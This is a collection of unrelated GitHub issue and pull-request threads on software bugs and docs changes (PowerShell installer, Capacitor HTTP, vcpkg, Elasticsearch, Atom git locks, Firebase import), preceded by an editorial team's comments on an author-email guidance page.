Actually, ignoring seasonal fluctuations, only 50% of your tweets will be from UTC-4. Unless they gave up on daylight savings on the east coast. Otherwise it will be UTC-3 for those months.
So specifying a single time zone isn’t practical.

(For the same reason just plotting UTC isn’t meaningful either)


Create Interacting with authors page

[x] Create page
[x] Add description of what is being covered
[x] Add description of checks required on this content, compiled from current protocol documents
[x] Add examples covering correct and incorrect scenarios, as required to support checks
[ ] Becky approved page
[ ] Melissa approved page
[ ] Fred approved page
[ ] James approved page
[x] Naushin approved page

Definition of done

[ ] Page completed
[ ] Team reviewed and approved page?

https://app.gitbook.com/@elifesciences/s/schematron/toolkit/interacting-with-authors
I've just added some guidance here for prepress in terms of dealing with common author emails. I haven't gone into detail about corrections and new versions because I think that can go in a separate page in the future and we aren't expecting prepress to cover this anyway! Let me know if anything is missing!

to in a timely manner

Can we define timely manner:
responded to on the day the email hits the inbox unless after 4pm, in which case needs to be responded to the following morning
emails must be responded to even with a "holding" response if we do not have an answer yet

There are many email templates saved in the production collaboration tool (Hiver) which can be used when drafting responses to authors.

Maybe be explicit that you cannot just add the template text, respond to the complete nuance of the author email as necessary

Template emails
Can you give an explanation for each one we have?
For instance Blank page does not mean a lot so explanation of what that is would be good!

Most of the emails we get from authors fall into the following categories:

Are there common queries that correspond with template emails? If so, might be worth linking them

Often authors will send striking images by email instead of including these in the initial submission.

Explain why @JGilbert-eLife can explain which email from editorial they are reminded about this and hence why it might not come via EJP

Striking images page

Requirements for striking images:
No images with graphs or text
No cartoons, graphical abstracts or summary figures
Colour photographs, microscopy images and illustrations work best (examples here)
Images should have strong visual impact and not be composed of more than one or two panels
Images should be landscape and a minimum size of 1800 x 900 pixels

We don't check for this though do we, I thought we just load them and leave that to someone else to deal with if they want to use the striking image?

Striking images are requested in the acceptance email, and the article can be exported before they respond.

If the proofs are still signed out with them, let them know that they will need to submit the proofs before the files can be replaced (there is a template for this).

Suggest change wording:
If the author has not signed off the proofs, let them know that they will need to submit the proofs before the files can be replaced (there is a template [add template name] for this).
Suggest better term/explanation for signed off

If the changes are extensive, the email should be forwarded on to Exeter with the subject prefix 'Author correspondence: XXXXX' (where XXXXX is the article number) so they can make the changes at the post-author validation stage

Humm, if the changes are extensive and the author cannot do them because of the system you can do this, but if it's not that then either push the author to make the changes OR we have to do them for them

If authors email to ask for extra time to proof their article, we need to let them know that they may still receive automatic reminder emails. There is a template email for this. Once you have sent this, make sure to leave a comment in the note for the article in Kriya so staff know that the article will be delayed.

We allow author extensions. Make it clear that's OK

Often authors will ask for ORCIDs to be added to manuscripts on behalf of other authors. Unfortunately, due to ORCIDs stipulations, we cannot do this. The only way for an ORCID to be linked to a manuscript is for the author to access the proofs using the link we send them. There is an email template to let authors know this

Need to be clear that it is the specific author who wants to add their ORCID who needs to sign in to do this, another author cannot do it for them as it requires their own password to access the ORCID system to create the link

If an article has recently been added to Kriya and the decision letter has yet to be added, it will usually take up to two weeks before this is ready to go to the authors.

Really?! We need to sort out the decision letter process!!

Some emails will be from authors who have noticed a mistake or problem in their published article. If the error affects the scientific conclusions of the article, a correction will need to be prepared.

This needs to be checked with Wei Mun. He's the one who decides on official corrections

If an article has recently been added to Kriya and the decision letter has yet to be added, it will usually take up to two weeks before this is ready to go to the authors.

Really?! We need to sort out the decision letter process!!

Should this be digest instead of decision letter?

"Problems accessing proofs"
Ideally, we need to get the operating system name and version, and the version of the browser the authors are using as well to help Exeter troubleshoot.

[ ] How long should a decision letter take to load?
[ ] Review Problems editing proofs section
[ ] Do we need the Latex package request template email and Missing copy-edit level template email?

@JGilbert-eLife Just assigning you to add the text for the Latex package request email!

Done, @naushinthomson !


Windows MSI installer does not remember the previous installation settings

Prerequisites

[X] Write a descriptive title.
[X] Make sure you are able to repro it on the latest released version
[X] Search the existing issues.
[X] Refer to the FAQ.
[X] Refer to Differences between Windows PowerShell 5.1 and PowerShell.

Steps to reproduce

Download the MSI for v7.2.2 and run it.
a. Use a custom directory (in my case I choose D:\PowerShell)
b. Untick the options to update automatically through Windows Update or WSUS.
Now download the MSI for v7.2.3 and run it.
When you reach the page for the installation directory, it shows the default directory in C:\Program Files.
When you reach the page for automatic updates, both options are ticked.

Expected behavior
The installer for a new version should respect the options that were selected for the previous verison.
Actual behavior
The installer for a new version uses the default options.
Error details
No response
Environment data
Name                           Value
----                           -----
PSVersion                      7.2.3
PSEdition                      Core
GitCommitId                    7.2.3
OS                             Microsoft Windows 10.0.19042
Platform                       Win32NT
PSCompatibleVersions           {1.0, 2.0, 3.0, 4.0…}
PSRemotingProtocolVersion      2.3
SerializationVersion           <IP_ADDRESS>
WSManStackVersion              3.0

Visuals
No response
Related Issues
This could be related to #17211, which is about the original installation directory not being respected when PowerShell is automatically updated through Windows Update.

Can confirm..
I'd also like to add that this is not some kind of regression, I've observed this behaviour in the MSI installer packages at least since PowerShell Core version 6.something
But the thing is, remembering the previously used installer settings would mandate to store that information somewhere in the local system, like the registry or something else..
The upside is that the installer can be considered clean in the way it behaves right now.. 😄
Also, just out of curiosity, what is the convention or the consensus on installing PowerShell in a custom location like that?
I mean, I'm doing it as well, and I've never encountered any issue related to filesystem locations, but is there some kind of "official" guideline that would serve as a recommendation?

We understand that is a bug in the Wix manifest and need to be looked at. It is not high priority for us right now and hence added the Up-for-Grabs label.

Marking this as a duplicate of https://github.com/PowerShell/PowerShell/issues/17222


EX-3637 Prebid should not pass requests without mime types

@jrosendahl Done

@jrosendahl @cpabst if this PR is no longer needed, can it be closed or merged?


[Flash] Variable flash.display3D::Context3DBufferUsage is not defined

Compiling for flash is fine, but at runtime I get the error:

Variable flash.display3D::Context3DBufferUsage is not defined

when calling:
Context3DBufferUsage.DYNAMIC_DRAW

This is caused (I believe!) by running on an older Flash Player version. However, I believe we inline our enum use now, so even this would work on old versions of the player. Thanks :smile:


Change vanilla favicon URLs to https.

Browsers were showing "this is loading scripts from unauthenticated sources"

Nice catch, can you send it to the dev branch first?  Master is only after testing in dev branch even if it's something very simple as this...

Changed to dev branch now.

Thanks!


localdev: develop addon

Enables the user to run aldryn project develop aldryn-newsblog and work on the package's source within the docker container.

:+1:


Add event listeners for the Pacman entity

Pacman should be movable by arrow keys.

Added and refactored in #53


POST Data is not passing (iOS)

I'm trying to do a simple post request on iOS.
const options = {
      url: SERVER_URL,
      headers: { 'Content-Type': 'application/json'  },
      data: { foo: 'bar', cool: true },
    };

Http.post(options);

SERVER_URL is a simple PHP script with:
var_dump($_POST);
POST data is not sending - see console log:

Environment:

Ionic CLI 6.19.0
Capacitor CLI  3.4.3
@ionic/angular 6.0.14
@capacitor/ios 3.4.3
@capacitor-community/http 1.4.1

similar tickets
https://github.com/capacitor-community/http/issues/208
https://github.com/capacitor-community/http/issues/67

We are experiencing this too. +1

@areanet-schmid are you only experiencing this on certain versions of iOS? I am testing a new app and users with iOS v14 are reporting issues that seem related.

Hi Guys any solution to this. I cant seems to get POST data on the server. But i can get data when using Postman. Any help would be grateful
This is the final item on my app and i really need a solution ASAP any help suggestions would be appreciated

I've also encountered this issue.
Works fine in Chrome, but nothing is passed on iOS

I ended up using axios until I find a permanent solutions. Works well on both iOS and Android

yeah the problem is known and I think pull requests were sent but there is absolutely no review by the maintainers. Create a http service with all requests inside and use axios, if one day capacitor http is finally working properly, you can add it by simply changing the http service and you won't have to change every requests in your app.


remove_unpopulated_shapes is it good to use

@natter1

ReadMe says further testing is needed for remove_unpopulated_shapes. Are we good to use it. Is there any possible issues that can occur
Is there any functions or comtype function in the repo other than remove_unpopulated_shapes to optimize the file size of the pptx
Does remove_unpopulated_shapes uses any comtype function to optimize the file size of the pptx
this line # if shape.is_placeholder and shape.text_frame.text == "": is commented in remove_unpopulated_shapes. Can we use this line

1.) I don't think it saves a lot of space to remove unpopulated shapes. As I create my pptx-files completly inside a script, its already reproducible and easy to copy formts, So I don't need the unpopulateed shapes. So far I had no issues with removing them. On the other hand, when you want to change an existing pptx, the default shapes can help to identify parts in a presentation. Also, if you want to insert a slide from one presentation in another with different master layout, the layout woould automatically fit correctly, because PowerPoint knows about its default shapes. Provided, the creator of the pptx-file used them properly, and the same is true for the template-file - so far I havn't seen anyone, who truly uses them in the way they are meant to.
2.) comtype iss just aa remote control for PoewerPoint. So the question is, are theere wayys inside PowerPoint to reduce the file size? There migght be some image compression settings. But if you use a script to place images in a pptx, it might be easier to compress them before putting them in a pptx.
4.) Not sure what was the idea behind this. The way it is implemented right now seems to works for all those visible empty shapes.


MoreThanMaximumAutomationScripts Fails PowerShell Module Packages

I have Chocolately package, Carbon, for a PowerShell module. It contains a lot of PowerShell scripts/files. Because of this, it fails the MoreThanMaximumAutomationScripts rule. Please update this rule to only check the Tools directory.

Thanks for logging this!

This is being completed now.

This is done.


SciPy 2022 informations – Friday Grand Ballroom, 2:35pm

Talk is moved to Grand ballroom at 2:35.
Slides are here.
jupyterLab extension is there,
having the question mark operator work currently requires this branch of IPython.
This issue will be updated with link to slides, and other informations like sprint etc...

Nicely done @Carreau 🎉


build failure with custom triplet (/fsanitize=address enabled)

Operating system
Windows 11 24H2
Compiler
MSVC (VS2022)
Steps to reproduce the behavior
curtom triplet file x64-windows-asan.cmake: (location: vcpkg/triplet, same as built-in triplets`)
set(VCPKG_TARGET_ARCHITECTURE x64)
set(VCPKG_CRT_LINKAGE dynamic)
set(VCPKG_LIBRARY_LINKAGE static)

set(VCPKG_BUILD_TYPE "Debug")
set(VCPKG_C_FLAGS "/fsanitize=address")
set(VCPKG_CXX_FLAGS "/fsanitize=address")
set(VCPKG_LINKER_FLAGS "/INCREMENTAL:NO")

then command:
vcpkg install fmt:x64-windows-asan
vcpkg install gflags:x64-windows-asan
compiles nothing, and no any headers or libraries exported.
Failure logs

package files: with nothing exported (no lib, no headers)

Additional context
It works well with built-in triplets x64-windows, x64-windows-static  x64-windows-static-md.

set(VCPKG_BUILD_TYPE "Debug")

This is officially unsupported.
You may configure "Release" to do whatever you want. YMMV.


by_alias not set when adding subnet4 and subnet6 objects

Python version
3.9
How to reproduce this locally

run .dhcp4.subnet4_add() with option_data
Find response throws a Kea exception result=1 text="spurious 'option_data' parameter" arguments=None

What should happen?
option_data should be sent as option-data
What happened?
option-data was sent to the Kea API as option_data instead

Fixed in production, however tests will implement more custom options and test every parameter in the model instead of the required parameters


AOAF380 set accounts filing type

CI: No security warnings found

CI: No security warnings found

CI: No security warnings found

CI: No security warnings found


Fix import file docs to reflect changes to parent dir introduced in 0.7.2

Update docs to match changes introduced in 0.7.2:
Changed the syntax for import $file segments outside your current directory from import $file....foo to import $file.^.foo. This makes it a lot shorter and mitigates a problems caused by the file-name being too long.
Instead of introducing second version of parent separator as in https://github.com/lihaoyi/Ammonite/pull/504
Aligned with current implementation:
https://github.com/lihaoyi/Ammonite/blob/master/amm/util/src/main/scala/ammonite/util/Util.scala#L13

Thanks @piotrkwiecinski!


Crash While Scanning

Describe the bug
The app stops working when you try to use the barcode feature. It stops when the product data is being retrieved (the loading circle appears).
This happens about 5 out of 10 times.
To Reproduce
Steps to reproduce the behavior:

Go to Edit item
Click on Barcode Scanner icon
Scan the code
Loading circle appears
Before the product data appears
Turn-off the internet (make sure the app showns no internet connection)
Then, turn on the internet (loading circle appears)
See error

Expected behavior
The app should be able to scan and retrieve data without crashing.
Screenshots
I can provide if needed.
Smartphone (please complete the following information):

Device: [Samsung A30]
OS: [Android 11]
Browser [Cromite]
Version [2.5.1]

Edit: Updated the Reproduce step.

I confirm the presence of this bug.
More specifically, the app appears to crash when the same product is scanned twice.

Thank you for reporting this bug. I will try to fix it as soon as possible.
It would be very helpful if you could provide some screenshots or a video to help me better understand what happened.
I hope you'll still be able to use the feature in the meantime.

I have no video, but I did another test.
I was wrong: it's not when the same product is scanned twice, but when there are internet connection issues.
In fact, I tried scanning a product with both WiFi and data turned off, and the app crashed immediately.

I have found out what caused the crash. When it first happened, I thought it was related to scanning, but after some test, I found out that it happens when the internet connection is unstable.
I have also updated the steps to reproduce the problem.
Screenrecord

https://github.com/user-attachments/assets/188124b0-d490-40e9-b406-74740c3cf072


[FEATURE] Timeout duration for windows to be temporarily shown and then automatically hidden

Description of the requested feature
I am creating a volume indicator, that I would like to appear on screen whenever I make adjustments to the audio levels, but only for about three seconds, and disappear afterwards. (Yes, I know about wob, but I'd also like to display media information on the popup.)
My current workaround is to have the widget call a delayed close command for itself like this:
(defpoll dummy
  :interval "0s"
  'sleep 3; eww --config $HOME/.config/eww/volume/ close volume')

Which is a bit hacky and impractical. I think that it would also be a useful behavior to have the timeout period reset if a new open call arrives, e.g. keeping the volume panel open during adjustments and only hiding it three seconds after the last interaction. Sort of debouncing to the trailing edge.
Proposed configuration syntax
I think that in terms of configuration syntax, it would be enough to add a numeric :timeout property to defwindow.
Or, on a second thought, maybe this should be a parameter given to the open command instead? (Like --toggle.)

ps.: I'd be happy to work on this myself, if you agree with the inclusion of this feature and could give me some pointers in case I get stuck.

Definitely planning to implement this, probably via a command line flag like "--duration" on the eww open command!

so how do we actually use the dummy named variable I want to use it for my volbar

This was implemented in #884


Use latest Go for releases

#96 bumped the minimum required version to 1.21, so running releases with 1.20 will likely fail.
Also run the CI workflow only on pushes to the master branch. Now when working on PRs from forks, it runs both in the target repo and in the fork, which is unnecessary.

@nineinchnick ping me when CI is green


Missing configuration for index: my_index

Hi @basemkhirat
when i want update my index with new alias... it show me this error : Missing configuration for index: my_index
why its happened?
I want to create a mapping for my index..
and update my  'config/es.php' file.. i don't know where is wrong!
this is my es.php file:
`
'connections' => [
    'default' => [

        'servers' => [

            [
                "host" => env("ELASTICSEARCH_HOST", "<IP_ADDRESS>"),
                "port" => env("ELASTIC_PORT", 9200),
                'user' => env('ELASTIC_USER', ''),
                'pass' => env('ELASTIC_PASS', ''),
                'scheme' => env('ELASTIC_SCHEME', 'http'),
            ]

        ],

        'index' => env('ELASTICSEARCH_INDEX', ''),

        'type' => env('ELASTIC_TYPE', '')

    ]
],

'indices' => [
    'irantalent_map_1' => [

        "aliases" => [
            "irantalent_alias"
        ],

        'settings' => [
            "number_of_shards" => 1,
            "number_of_replicas" => 0,
        ],

        'mappings' => [
            'employer_positions' => [
                'properties' => [
                    'expired_at' => [
                        'type' => 'date',
                        "null_value" => "NULL"
                    ]
                ]
            ]
        ]

    ]

]`

Hi @maralbe
The problem comes from you are running the command with:
php artisan es:indices:create irantalent_alias

But, you have to run:
php artisan es:indices:create irantalent_map_1

we are using the config keys as index names in command line.

Hi @maralbe
You have to run:
php artisan es:indices:create irantalent_map_1

we are using the config keys as index names in command line.

thanks for your response @basemkhirat
i have to create a new one??
if i want to update my index ... what to do then?

and it show me an error.. all the time... even if i change the alias name in config/es.php file
"invalid_alias_name_exception",
"reason":"Invalid alias name [irantalent], an index exists with the same name as the alias","index_uuid":"kfcFiBPfRyG-vD-6Qsh1ZQ","index":"irantalent"}],
"type":"invalid_alias_name_exception",
"reason":"Invalid alias name [irantalent],
an index exists with the same name as the alias","index_uuid":"kfcFiBPfRyGvD6Qsh1ZQ",
"index":"irantalent"},"status":400

It's an elasticsearch error that you cannot create alias with same index name created before as names are unique.
You should now delete created index name [if not wanted] or change the alias name.
OR you can work with other names
'iran_talents_1' => [

        "aliases" => [
            "iran_talents"
        ],

        'settings' => [
            "number_of_shards" => 1,
            "number_of_replicas" => 0,
        ],

        'mappings' => [
            'employer_positions' => [
                'properties' => [
                    'expired_at' => [
                        'type' => 'date',
                        "null_value" => "NULL"
                    ]
                ]
            ]
        ]

    ]

run:
php artisan es:indices:create iran_talents_1

Your app now should work with the alias iran_talents so you should set ELASTIC_INDEX with iran_talents
Generally, Your app should work in all times with alias name as changing mappings for index has data requires data reindexing and the reindexing operation that takes along time relative to data amount so app will be down if not linked to an alias. see more

thanks @basemkhirat
but i am indexing my data with scout driver and this command:
php artisan scout:import "App\Post"
i delete my hole index, because i couldn't delete my particular type for mapping in exact way of my code.
and do mapping for one or two fields that i want elastic to do mapping in that way..
and index the other data with this command: php artisan scout:import "App\Post"
but when i want to search i don't see the fields that i did mapping separately!  and my search will fail!
what can i do now? if i want do mapping and index my data with scout?

hey @basemkhirat
after a few days finally i figure out how to create my index using your package.. before this i just import indexing by laravel scout, and that mapping my data by default..
so i had problem in my search result, and had to do mapping by myself.. so first i create my index using php artisan es:indices:create iran_talents_1    and then run php artisan scout:import "App\Post" with my alias index name that i define in es.config file...
the problem i have here, is that the docs.count of my index is not equal with whatever i import with scout!
i don't know what is the problem.. and stock in this..
have you any idea how to solve it?

Hi @maralbe,
are you sure :) ?
you might run php artisan scout:import twice

no i didn't ..
even if i run that twice it shouldn't be!
but in my mapping i use "nested" type for one or two field..
is it because of that?
`
'candidate_cvs' => [
        'properties' => [
'folder_applications' => [
    'type' => 'nested',
    "properties" => [
        "created_at" => [
            "type" => "date"
        ],
        "employer_folder_id" => [
            "type" => "long"
        ],
        "folder" => [
            "type" => "nested",
            "properties" => [
                "employer_id" => [
                   "type" => "long"
                   ],
                   "id" => [
                        "type" => "long"
                    ]
                ]
            ],
            "hire_stage_id" => [
               "type" => "long"
            ],
            "is_applied" => [
                "type" => "long"
            ],
            "status_id" => [
                "type" => "long"
            ]
       ]
    ],
]

]
`


added VueFront to readme

added - VueFront - CMS Agnostic PWA & SPA. Modernize your Wordpress websites in less than 5 min

Guys, not there are conflicts and I don't have an option to resolve them... how does this actually work))))

how about now?

ohhhh... now I got it... sorry. really. my mistake! one sec


Detect UnsupportedQuery correctly (based on the gRPC status code INVALID_ARGUMENT )

The SDK is undergoing a rewrite/refresh and this issue applied to a previous version and is no longer applicable


Install doc - Desktop should not be installed

Install doc (page 7 ) does not says nothing if ArcGIS Desktop needs to be uninstalled. If it is not, user will get an error because of PostgreSQL Libraries is not present.  Please update the doc.

@VytautasGipiskis when are you encountering this error? Desktop does not need to be installed on the server in order to run through the install. Please give some more information on when you are encountering this error.

The "Ops Server Installation Guide" "Prepare for Ops Server Installation" does tell you to install Desktop (it was the last bullet - but I moved it up to the first in my Pull Request to try to make it more clear).
But I don't think the 2 installs (PostgreSQL and Desktop) are related so something else might be going on (like the PostgreSQL step might have been failing for another reason -or- this is a pre-10.3 version).  Previous (to 10.3) ArcGIS installs did require you to copy the postgres client libraries to the ArcGIS bin folder, but I don't think that is the case now.

ArcGIS Desktop is not required to install Ops Server. It's mentioned in the service publishing section of the "Ops Server Installation Guide" in cases where you need to republish a service from the original source and in this case you should install ArcGIS Desktop on a separate machine. (NOTE: installing desktop on the server machine changes the .py file association to point from the 64 bit Python installed with Server to the 32 bit Python installed with Desktop).
For ArcGIS Server (pre-10.3) to connect to PostgreSQL geodatabases it does require the PostgreSQL 64 bit client libraries (a separate install) to be installed to the C:\Program Files\ArcGIS\Server\bin folder. For ArcGIS Server 10.3, support to connect to PostgreSQL geodatabases is provided out of the box in order to support ArcGIS Data Store so you don't need to copy any files to the server bin folder.
The current ops server config scripts are for current build of ArcGIS (i.e. 10.3), so the InstallArcGISServer.bat no longer includes the copy statement to copy the pre-extracted PostgreSQL client library files.

Sorry to join discussion so late.
I think issue was caused by background GP (not sure, if final version is installing python libraries).

@VytautasGipiskis - please verify and close if appropriate.


Avoid parsing proxied content

Slime apparently barfs on some strange JSON coming from StatusPage. Fails
integration test.
or @jonmv

It will have to be parsed eventually - won't this just move the problem to the client side?

I think we should know why ...

Sure.
The JSON from StatusPage contains e.g. \u0026, Unicode for ampersand. It seems Slime doesn't like escaped Unicode:
String json = "{\"body\":\"some text\\u0026more text\"}";
System.out.println(new String(SlimeUtils.toJsonBytes(SlimeUtils.jsonToSlime(json.getBytes()))));

{"partial_result":{"body":"some text\u0000u"},"offending_input":"0x7B22626F6479223A22736F6D6520746578745C75","error_message":"invalid hex character"}

However, jq, Python, Jackson and browsers handles this fine:
$ echo '{"body":"some text\u0026more text"}' | jq .
{
  "body": "some text&more text"
}

$ python3
>>> import json
>>> json.loads('{"body":"some text\u0026more text"}')
{'body': 'some text&more text'}

So I think this can be merged, at least until Slime can be fixed.

Thanks! Could you make a ticket on this and also point to this PR ... I think it would be preferable to not pass this as bytes.

Of course. This wasn't meant as a permanent thing.

I did't get that.


Git integration holds locks on pack files in .git directory

Prerequisites

[X] Can you reproduce the problem in safe mode?
[X] Are you running the latest version of Atom?
[X] Did you check the debugging guide?
[X] Did you check the FAQs on Discuss?
[X] Are you reporting to the correct repository?
[X] Did you perform a cursory search to see if your bug or enhancement is already reported?

For more information on how to write a good bug report or enhancement request, see the CONTRIBUTING guide.
Description
When I open a project directory in Atom which is under git source control, the git integration in Atom holds file locks on various files in the .git directory of the project.  This breaks git commands that modify the pack files, like git gc. When running git gc, I see errors like the following:
Unlink of file '.git/objects/pack/pack-0cca48411464b8ef80a288f080d3d8eef5321ae3.pack' failed. Should I try again? (y/n)

Using Process Explorer, I was able to track down the file lock to the atom.exe process.
Steps to Reproduce

Open project directory in Atom that is under git source control
Perform enough commits to the git repo that a garbage collection will write new .pack and .idx files
Try running git gc with Atom open

OR

Open project directory in Atom that is under git source control
Observe atom.exe process holding open handles to .git files in Process Explorer

Expected behavior: Atom does not hold open handles on .git files
Actual behavior: Atom holds open handles on .git files
Versions
Atom    : 1.9.9
Electron: 0.37.8
Chrome  : 49.0.2623.75
Node    : 5.10.0

OS is Win 10.0.10240

Same problem here.... :(

Same problem here:
$ rm -rf sc-spo-service-datain-input-watcher/ rm: cannot remove 'sc-spo-service-datain-input-watcher/.git/objects/pack/pack-63d109eb1bca29a6ad8f2adaca6826d104606e9f.pack': Device or resource busy

I frequently see this if I interact with Atom whilst also doing various commands like git rebase and git commit --amend. Rebase is the worst as it tends to mess up the rebase and I have to start again.
$ git rebase -i master
fatal: Unable to create '/Users/mark/dev/gecko/.git/index.lock': File exists.

Sometimes I have to quit Atom to avoid this getting in the way.


Fatal error occurring when running @firebaseextensions/fs-bq-import-collection script

[REQUIRED] Step 2: Describe your configuration

Extension name: firestore-bigquery-export
Extension version: v0.1.10

[REQUIRED] Step 3: Describe the problem
Running the @firebaseextensions/fs-bq-import-collection import scripts leads to errors when running in specific collections.
Steps to reproduce:
Running the @firebaseextensions/fs-bq-import-collection
Filling big-query / project specific ids in the interactive flow.
Choosing stream: 500
For all other collections I was running the same command, and all went well. When running this in specific orders collection the following happens:
Importing data from Cloud Firestore Collection: orders, to BigQuery Dataset: firestore_export, Table: orders_raw_changelog
{"severity":"INFO","message":"BigQuery dataset already exists: firestore_export"}
{"severity":"INFO","message":"BigQuery table with name orders_raw_changelog already exists in dataset firestore_export!"}
{"severity":"INFO","message":"View with id orders_raw_latest already exists in dataset firestore_export."}
{"severity":"INFO","message":"Inserting 500 row(s) of data into BigQuery"}
{"severity":"INFO","message":"Inserted 500 row(s) of data into BigQuery"}
{"severity":"INFO","message":"Inserting 500 row(s) of data into BigQuery"}

#
# Fatal error in , line 0
# Check failed: result.second.
#
#
#
#FailureMessage Object: 0x7ffeefbff040
 1: 0x1000d4fee node::NodePlatform::GetStackTracePrinter()::$_3::__invoke() [/usr/local/bin/node]
 2: 0x100a18c31 V8_Fatal(char const*, ...) [/usr/local/bin/node]
 3: 0x100378772 v8::internal::GlobalBackingStoreRegistry::Register(std::__1::shared_ptr<v8::internal::BackingStore>) [/usr/local/bin/node]
 4: 0x10018d907 v8::ArrayBuffer::GetBackingStore() [/usr/local/bin/node]
 5: 0x100063054 node::Buffer::New(node::Environment*, char*, unsigned long, void (*)(char*, void*), void*) [/usr/local/bin/node]
 6: 0x100062deb node::Buffer::New(v8::Isolate*, char*, unsigned long, void (*)(char*, void*), void*) [/usr/local/bin/node]
 7: 0x104d009ca grpc::node::ByteBufferToBuffer(grpc_byte_buffer*<EMAIL_ADDRESS> 8: 0x104d04ceb grpc::node::ReadMessageOp::GetNodeValue() const<EMAIL_ADDRESS> 9: 0x104d01b78 grpc::node::CompleteTag(void*, char const*<EMAIL_ADDRESS>10: 0x104d0b65a grpc::node::drain_completion_queue(uv_prepare_s*<EMAIL_ADDRESS>11: 0x1006d47df uv__run_prepare [/usr/local/bin/node]
12: 0x1006cf3e8 uv_run [/usr/local/bin/node]
13: 0x1000b53dd node::NodeMainInstance::Run() [/usr/local/bin/node]
14: 0x10005d052 node::Start(int, char**) [/usr/local/bin/node]
15: 0x7fff6b2d2cc9 start [/usr/lib/system/libdyld.dylib]
Illegal instruction: 4

After running the same command but with 10000 row stream:
Importing data from Cloud Firestore Collection: orders, to BigQuery Dataset: firestore_export, Table: orders_raw_changelog
{"severity":"INFO","message":"BigQuery dataset already exists: firestore_export"}
{"severity":"INFO","message":"BigQuery table with name orders_raw_changelog already exists in dataset firestore_export!"}
{"severity":"INFO","message":"View with id orders_raw_latest already exists in dataset firestore_export."}
{"severity":"INFO","message":"Inserting 10000 row(s) of data into BigQuery"}
{"severity":"INFO","message":"Retried to insert 10000 row(s) of data into BigQuery (ignoring unknown columns)"}
{"severity":"INFO","message":"Inserting 10000 row(s) of data into BigQuery"}
Error importing Collection to BigQuery: Error: Cannot parse response as JSON: <!DOCTYPE html>

  <meta charset=utf-8>
  <meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width">
  <title>Error 400 (Bad Request)!!1</title>

400. That’s an error.

Your client has issued a malformed or illegal request.  That’s all we know.

Expected result

Import being successful, or import failing with a sensible error message.
"Your client has issued a malformed or illegal request." sounds like a possible error in the import script.
After error occurring, would wish to have the opportunity to try to continue from where the streaming ended

Hey @tooga, thank you for raising this issue. There appears to be a difference in data between your orders collection and the other collection that would cause the error.
If I had a guess, it would be a binary data type that can't be handled when stringifying the data perhaps. This function is used to serialise the data, maybe there is something it isn't capturing.
Although the error message indicates that error occurs on the native side of things (i.e. the nodejs bindings to the OS).
Are you able to narrow down what specifically in your dataset is causing this to occur? I'd be happy to debug this, if you could send me a chunk of data that reproduces it.

@russellwheatley thanks! I'll try to find the issue with the dataset. My hypothesis is that some of these orders documents could contain a number field of NaN and that might break it, but I'll try to find the exact document that is erroring to get a better understanding

Closing for now, will reopen if this is a reproducible bug.

Closing for now, will reopen if this is a reproducible bug.


Discord's "favourites tab" icon is unformatted and doesn't look like the direct messages tab

Describe the bug
Discord's "favourites tab" icon is unformatted and doesn't look like the direct messages tab
If you will be using a svg use this one <svg class="favoriteIcon-2kWmTP" aria-hidden="true" role="img" width="20" height="20" viewBox="0 0 24 24"><path fill="none" stroke="#000" stroke-width="1.5" d="M21.924 8.61789C21.77 8.24489 21.404 8.00089 21 8.00089H15.618L12.894 2.55389C12.555 1.87689 11.444 1.87689 11.105 2.55389L8.38199 8.00089H2.99999C2.59599 8.00089 2.22999 8.24489 2.07599 8.61789C1.92199 8.99089 2.00699 9.42289 2.29299 9.70789L6.87699 14.2919L5.03899 20.7269C4.92399 21.1299 5.07199 21.5619 5.40999 21.8089C5.74999 22.0569 6.20699 22.0659 6.55399 21.8329L12 18.2029L17.445 21.8329C17.613 21.9449 17.806 22.0009 18 22.0009C18.207 22.0009 18.414 21.9369 18.59 21.8089C18.928 21.5619 19.076 21.1299 18.961 20.7269L17.123 14.2919L21.707 9.70789C21.993 9.42289 22.078 8.99089 21.924 8.61789Z"></path></svg>
Screenshots

was marked as "wontfix" in #144 and i doubt it will be fixed

The feature still isn't fully released yet, so no updates on this since the previous issue


Upload images to asset manager

For https://trello.com/c/2BSsLGFS/239-upload-images-to-asset-manager-and-set-lead-image-in-publishing-api
Paired with @davbo
This PR allows images to be uploaded to Asset Manager as a draft, after which we save the returned Asset Manager file URL to the image.  Upon publish we change the image to no longer be a draft.
We also ensure that lead image data is sent to the Publishing API once a lead image is uploaded, removed or modified.

Also just noticed on https://trello.com/c/Yavdtg4i/254-create-crop-page-step-in-create-image-workflow that we're planning to lose the DocumentImagesController, so maybe it's not worth changing it in this PR?

@benthorner we left the changes to the DocumentImagesController in there. You're right we might end up losing that controller all together but including the changes didn't seem to cause any issues.


Adding lookup partial

Postcode lookup partial & styling for MVP (based on postcode lookup partial for [find-my-council](https://github.com/alphagov/frontend/tree/master/app/views/find_local_council)), adjusted to be more generic and partially portable, adding tests focusing on error copy, updating after feedback.
:warning: This application is Continuously Deployed: :warning:

Merged changes are automatically deployed to staging and production.

Make sure you follow the guidance for deployments before you merge.

Check your branch is being deployed in the Release app, after merging.

This change has been written as a component, using component conventions, but I don't think it's a component as it depends upon variables being passed to it and other code/pages to handle the form submission (for reference, there's no form component or components that contain forms, apart from feedback which is a special case).
It's also not clear where it's going to appear and what it's going to be used for yet. It would be helpful if there was more information in the PR description about what this change is and why it's being done (and a link to the original Trello card). It's hard to review the frontend of something that isn't appearing in a page anywhere (can't check it against the design or test it in different browsers, etc.)
I'd suggest rewriting it as a partial and getting it into a page so we can see what it looks like and how it works, which should also help with writing more appropriate tests.
Sorry if this is all sounding quite negative. I'd like to add that in general the code quality looks good, gem components have been used well and while I think the tests need work they are very thorough, which is good to see.
Adding additional context:

#2226
As a user I want input my postcode and lookup local restrictions
Context
Creating a new a postcode lookup partial "similar to find-my-council on finder-frontend
Design
https://www.figma.com/file/GuYNyaQkjKqhR87nqqqRTv/Local-restrictions?node-id=0%3A1
Ticket
https://trello.com/c/6mYZd3HQ
New PR will be moved to collections repo - will update to include:

Place on page where it renders (even if this a placeholder)

@chris-gds @andysellick is this PR still needed?

@hannako good shout. Closing.


🌐 Add German translation for docs/de/docs/advanced/additional-responses.md

← advanced/custom-response.md (#10624)
→ advanced/response-cookies.md (#10627)
German translation progress

📝 Docs preview for commit 1846c13b6903d019d0283b6090a181b14a27abe5 at: https://d8276b7f.fastapitiangolo.pages.dev

📝 Docs preview for commit ab835f99356ca210252d1143d90dfe373f7c7a61 at: https://94e4c518.fastapitiangolo.pages.dev

📝 Docs preview for commit 368a08da304783ba44b471203999a9515d707421 at: https://8bbd5501.fastapitiangolo.pages.dev

